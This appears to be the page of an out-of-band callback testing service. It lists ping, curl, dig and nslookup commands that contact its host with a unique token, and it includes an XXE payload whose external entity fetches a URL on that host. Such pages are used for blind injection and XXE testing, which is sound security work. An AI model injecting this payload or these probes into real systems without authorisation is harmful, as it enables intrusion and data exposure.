$ ping -c1 -p 004bfa1d39f3ea9befdb575d7cfc6400 unhack.ca
 
$ curl http://unhack.ca/p/4bfa1d39f3ea9befdb575d7cfc64
 
$ dig 4bfa1d39f3ea9befdb575d7cfc64 @unhack.ca
 
$ dig 4bfa1d39f3ea9befdb575d7cfc64.ns.unhack.ca
 
C:\> nslookup 4bfa1d39f3ea9befdb575d7cfc64 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/4bfa1d39f3ea9befdb575d7cfc64">]>
    <foo>&xxe;</foo>
 
Waiting for ping...